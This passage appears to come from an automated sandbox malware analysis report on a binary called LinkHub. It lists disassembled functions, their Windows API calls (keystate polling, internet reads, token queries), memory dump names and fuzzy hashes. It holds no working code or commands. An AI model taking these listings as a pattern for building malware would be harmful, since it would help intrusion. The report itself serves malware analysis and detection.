                                                                            • Instruction Fuzzy Hash: E9516C35604245DFCB01DF68C4849DDBBB1FF09319B159599E806AB322D731ED89CFA1
                                                                            Function 00E675AE Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetWindowLongW.USER32(00000002,000000F0,?), ref: 00E6766B
                                                                            • SetWindowLongW.USER32(?,000000EC,?), ref: 00E67682
                                                                            • SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00E676AB
                                                                            • ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00E4B5BE,00000000,00000000), ref: 00E676D0
                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00E676FF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Long$MessageSendShow
                                                                            • String ID:
                                                                            • API String ID: 3688381893-0
                                                                            • Opcode ID: ae6214adfa1267737851c2f7543ae5666f9d522bb05e1326f0ff0a9617fac482
                                                                            • Instruction ID: 8d64b33a350dbaafd31327667d21fe862e6125890b984631c45494c4982d3c09
                                                                            • Opcode Fuzzy Hash: ae6214adfa1267737851c2f7543ae5666f9d522bb05e1326f0ff0a9617fac482
                                                                            • Instruction Fuzzy Hash: AC410635A88504AFD725CF2CEC48FAE7BA5EB493A8F151254F895B72E0D370ED50C650
                                                                            Function 00E023C1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free
                                                                            • String ID:
                                                                            • API String ID: 269201875-0
                                                                            • Opcode ID: bc083ead43093b7e7f497d478ab0eac908ee895c74d332d64069b99996a699b9
                                                                            • Instruction ID: 472c7126c56617bb1dbbfac0b1b8a5dda50f3f033e1ce162189a63002825c0be
                                                                            • Opcode Fuzzy Hash: bc083ead43093b7e7f497d478ab0eac908ee895c74d332d64069b99996a699b9
                                                                            • Instruction Fuzzy Hash: F641CF32A002149FCB20DF78C885A6EB7F6EF89318F1585ADE615FB391D631AD41DB90
                                                                            Function 00DD19CD Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCursorPos.USER32(?), ref: 00DD19E1
                                                                            • ScreenToClient.USER32(00000000,?), ref: 00DD19FE
                                                                            • GetAsyncKeyState.USER32(00000001), ref: 00DD1A23
                                                                            • GetAsyncKeyState.USER32(00000002), ref: 00DD1A3D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AsyncState$ClientCursorScreen
                                                                            • String ID:
                                                                            • API String ID: 4210589936-0
                                                                            • Opcode ID: 01da5f4ace2b40c8b8ce1e055e1e82aa27654b4c136dab589f7ebc1be1c57844
                                                                            • Instruction ID: 562420c51d4e0125122bf901a9283cbb0ded56ff0360f756ffccbf5de7ceee62
                                                                            • Opcode Fuzzy Hash: 01da5f4ace2b40c8b8ce1e055e1e82aa27654b4c136dab589f7ebc1be1c57844
                                                                            • Instruction Fuzzy Hash: B1416D75A0910AFFDF159F64C844BEEB7B4FB05364F20921AE469B2290C7706E94CBA1
                                                                            Function 00E3224E Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetWindowRect.USER32(?,?), ref: 00E32262
                                                                            • PostMessageW.USER32(00000001,00000201,00000001), ref: 00E3230E
                                                                            • Sleep.KERNEL32(00000000,?,?,?), ref: 00E32316
                                                                            • PostMessageW.USER32(00000001,00000202,00000000), ref: 00E32327
                                                                            • Sleep.KERNEL32(00000000,?,?,?,?), ref: 00E3232F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessagePostSleep$RectWindow
                                                                            • String ID:
                                                                            • API String ID: 3382505437-0
                                                                            • Opcode ID: 2f7a3030f2e3bc1f7ac0d713b0b16b278f4567835ba151cde505fcff7b9cc76d
                                                                            • Instruction ID: 3d89e22bb1538b6d7e6f8d7299076d04e290c6a65b6325924ea4a41510db151b
                                                                            • Opcode Fuzzy Hash: 2f7a3030f2e3bc1f7ac0d713b0b16b278f4567835ba151cde505fcff7b9cc76d
                                                                            • Instruction Fuzzy Hash: 7E31B071A00219EFDB00CFA8DD8CADE3BB5EB04319F004219FA61AB2E0C3B09944CB90
                                                                            Function 00E4D95F Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00E4CC63,00000000), ref: 00E4D97D
                                                                            • InternetReadFile.WININET(?,00000000,?,?), ref: 00E4D9B4
                                                                            • GetLastError.KERNEL32(?,00000000,?,?,?,00E4CC63,00000000), ref: 00E4D9F9
                                                                            • SetEvent.KERNEL32(?,?,00000000,?,?,?,00E4CC63,00000000), ref: 00E4DA0D
                                                                            • SetEvent.KERNEL32(?,?,00000000,?,?,?,00E4CC63,00000000), ref: 00E4DA37
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: EventInternet$AvailableDataErrorFileLastQueryRead
                                                                            • String ID:
                                                                            • API String ID: 3191363074-0
                                                                            • Opcode ID: 114cd92938b2cc60da8b6d1d10f9657f166fcc5ea99025df5e46c2882af785b2
                                                                            • Instruction ID: d810ae2de15a7c1adc4cda5ab4c6cbdeb31c5324f4c0cd9322c31edf5d1ccb52
                                                                            • Opcode Fuzzy Hash: 114cd92938b2cc60da8b6d1d10f9657f166fcc5ea99025df5e46c2882af785b2
                                                                            • Instruction Fuzzy Hash: AA314171A08305EFDB20DFA6EC84AAFBBF8EB54754B10942EE546E3250D770ED449B60
                                                                            Function 00E661A5 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00E661E4
                                                                            • SendMessageW.USER32(?,00001074,?,00000001), ref: 00E6623C
                                                                            • _wcslen.LIBCMT ref: 00E6624E
                                                                            • _wcslen.LIBCMT ref: 00E66259
                                                                            • SendMessageW.USER32(?,00001002,00000000,?), ref: 00E662B5
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$_wcslen
                                                                            • String ID:
                                                                            • API String ID: 763830540-0
                                                                            • Opcode ID: 7b1823d3cdbb148af1af12d1e71991dbe8408f31acbe7b8e52d546571ce30391
                                                                            • Instruction ID: 4e35775e9c5e27d24bb54468c1bd6320a15dcb71c3d1b57a259272638b48184c
                                                                            • Opcode Fuzzy Hash: 7b1823d3cdbb148af1af12d1e71991dbe8408f31acbe7b8e52d546571ce30391
                                                                            • Instruction Fuzzy Hash: 5221E631A502089BDB119F54EC84EEEBBB8FF55394F109216FA24FA180D7709985CFA0
                                                                            Function 00E5138D Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • IsWindow.USER32(00000000), ref: 00E513AE
                                                                            • GetForegroundWindow.USER32 ref: 00E513C5
                                                                            • GetDC.USER32(00000000), ref: 00E51401
                                                                            • GetPixel.GDI32(00000000,?,00000003), ref: 00E5140D
                                                                            • ReleaseDC.USER32(00000000,00000003), ref: 00E51445
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ForegroundPixelRelease
                                                                            • String ID:
                                                                            • API String ID: 4156661090-0
                                                                            • Opcode ID: 6df17d6e84c046f1149bee9270aeb8e070cbc4eb40dc2ddecbe6d972f4bd0fdf
                                                                            • Instruction ID: 3c27eea8196df8a16277722f7a2c8b81528318d97efc8c82e726b3dd4a68c40c
                                                                            • Opcode Fuzzy Hash: 6df17d6e84c046f1149bee9270aeb8e070cbc4eb40dc2ddecbe6d972f4bd0fdf
                                                                            • Instruction Fuzzy Hash: E1216F35A04204AFD714EF65DC99A9EB7E5EF88341B058479F94AE7751CA70AC04CBA0
                                                                            Function 00E0D13D Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetEnvironmentStringsW.KERNEL32 ref: 00E0D146
                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E0D169
                                                                              • Part of subcall function 00E03B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E03BC5
                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00E0D18F
                                                                            • _free.LIBCMT ref: 00E0D1A2
                                                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00E0D1B1
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                            • String ID:
                                                                            • API String ID: 336800556-0
                                                                            • Opcode ID: f941ab01ef0a4fab3f51115e58aa625d19380ea227b40335747f4ecaa62c2c32
                                                                            • Instruction ID: 350b03fb69ef49319dd23e7fb4beae8d58b81e5edf940744a4facdced1089658
                                                                            • Opcode Fuzzy Hash: f941ab01ef0a4fab3f51115e58aa625d19380ea227b40335747f4ecaa62c2c32
                                                                            • Instruction Fuzzy Hash: 0001DD76B0B6157FB32126FB5C4CCBB7A6DDEC2BA53141119FD04E2280DEB08C4182B0
                                                                            Function 00E0316B Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetLastError.KERNEL32(74DE2E40,?,?,00DFF64E,00E03BD6,?,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E03170
                                                                            • _free.LIBCMT ref: 00E031A5
                                                                            • _free.LIBCMT ref: 00E031CC
                                                                            • SetLastError.KERNEL32(00000000), ref: 00E031D9
                                                                            • SetLastError.KERNEL32(00000000), ref: 00E031E2
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLast$_free
                                                                            • String ID:
                                                                            • API String ID: 3170660625-0
                                                                            • Opcode ID: b652ca3d7d2189b070f9b26a162e9614c8a4c5d60a7a4082b1c6ce71d3dba03b
                                                                            • Instruction ID: 3c5a62762d1ea7b1d76008bd7521b7391bec21a91add482315d14c643ce91db9
                                                                            • Opcode Fuzzy Hash: b652ca3d7d2189b070f9b26a162e9614c8a4c5d60a7a4082b1c6ce71d3dba03b
                                                                            • Instruction Fuzzy Hash: CB012D7274AA107FD6122736AC49D6B19DDAFCD3B5720242AF915F22D1EE71CE854110
                                                                            Function 00E308FE Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?,?,00E30C4E), ref: 00E3091B
                                                                            • ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?), ref: 00E30936
                                                                            • lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?), ref: 00E30944
                                                                            • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?), ref: 00E30954
                                                                            • CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00E30831,80070057,?,?), ref: 00E30960
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                            • String ID:
                                                                            • API String ID: 3897988419-0
                                                                            • Opcode ID: a49a351c23073a5add352469a2037ca3a5c074f8e38ff4f773954321ccf25d0f
                                                                            • Instruction ID: e326361f69d6fcc369b97412d66c5fe0ad55cbf32aaac476782ce403be365640
                                                                            • Opcode Fuzzy Hash: a49a351c23073a5add352469a2037ca3a5c074f8e38ff4f773954321ccf25d0f
                                                                            • Instruction Fuzzy Hash: BA015A72A04218AFEB154F56EC48B9A7EADEBC47A1F150124F905F2212D7B1DD44DAA0
                                                                            Function 00E3F292 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • QueryPerformanceCounter.KERNEL32(?), ref: 00E3F2AE
                                                                            • QueryPerformanceFrequency.KERNEL32(?), ref: 00E3F2BC
                                                                            • Sleep.KERNEL32(00000000), ref: 00E3F2C4
                                                                            • QueryPerformanceCounter.KERNEL32(?), ref: 00E3F2CE
                                                                            • Sleep.KERNEL32 ref: 00E3F30A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                            • String ID:
                                                                            • API String ID: 2833360925-0
                                                                            • Opcode ID: 79095ccfe9ee8db4c19bedea6c8a16e2bb76b2efa0e6381849a252de3e4b4f84
                                                                            • Instruction ID: 116ba1ee16a2874bbc0c76323f99a80bf6172628e564ba19e16716dbaa27f79b
                                                                            • Opcode Fuzzy Hash: 79095ccfe9ee8db4c19bedea6c8a16e2bb76b2efa0e6381849a252de3e4b4f84
                                                                            • Instruction Fuzzy Hash: 80016971D0562ADFCF00AFA6EC4DAEEBF78FB09710F411466E502B2260DBB09558C7A1
                                                                            Function 00E31A45 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E31A60
                                                                            • GetLastError.KERNEL32(?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A6C
                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A7B
                                                                            • HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A82
                                                                            • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E31A99
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                            • String ID:
                                                                            • API String ID: 842720411-0
                                                                            • Opcode ID: b1f4cd263c8c3bb623fa389b24e2f60991fbfd6743587c18bde794dc888d237c
                                                                            • Instruction ID: 243442411c130ce730c7a68ea388a2247fc4ae767742244d6a0de793cebf341d
                                                                            • Opcode Fuzzy Hash: b1f4cd263c8c3bb623fa389b24e2f60991fbfd6743587c18bde794dc888d237c
                                                                            • Instruction Fuzzy Hash: 690181B5A01205BFDB114F66EC4CD6B3F6EEF893A5F610458F845E3260DAB1DC40CA60
                                                                            Function 00E31960 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00E31976
                                                                            • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00E31982
                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E31991
                                                                            • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00E31998
                                                                            • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E319AE
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                            • String ID:
                                                                            • API String ID: 44706859-0
                                                                            • Opcode ID: b53d946f0fcf25b5fab0fc116bdf7caad52ac17bc4aa12efa656707c52b916e8
                                                                            • Instruction ID: 2111672c003f08b5826b2f8ae1bd62e7571e456cf5829457c1c08abf75e8d235
                                                                            • Opcode Fuzzy Hash: b53d946f0fcf25b5fab0fc116bdf7caad52ac17bc4aa12efa656707c52b916e8
                                                                            • Instruction Fuzzy Hash: 19F03775604301AFDB214FA6EC59B573FAEEF896A0F514454FA45E72A0CAB1E804CA60
                                                                            Function 00E31900 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00E31916
                                                                            • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00E31922
                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00E31931
                                                                            • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00E31938
                                                                            • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00E3194E
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                            • String ID:
                                                                            • API String ID: 44706859-0
                                                                            • Opcode ID: 027f981e3766a968bfb1680fd1811520831652f3866a043dfc5cfcf5b6fe496a
                                                                            • Instruction ID: 05c136d4d9606681d6adb8768116f78c6a01988e20cd6ce0b2935487333ab22e
                                                                            • Opcode Fuzzy Hash: 027f981e3766a968bfb1680fd1811520831652f3866a043dfc5cfcf5b6fe496a
                                                                            • Instruction Fuzzy Hash: 44F03775604306AFDB210FA6AC5DF573FAAEF897A0F510454FA45E72A0CAB1D804CA60
                                                                            Function 00E40CB6 Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CloseHandle.KERNEL32(?,?,?,?,00E40B24,?,00E43D41,?,00000001,00E13AF4,?), ref: 00E40CCB
                                                                            • CloseHandle.KERNEL32(?,?,?,?,00E40B24,?,00E43D41,?,00000001,00E13AF4,?), ref: 00E40CD8
                                                                            • CloseHandle.KERNEL32(?,?,?,?,00E40B24,?,00E43D41,?,00000001,00E13AF4,?), ref: 00E40CE5
                                                                            • CloseHandle.KERNEL32(?,?,?,?,00E40B24,?,00E43D41,?,00000001,00E13AF4,?), ref: 00E40CF2
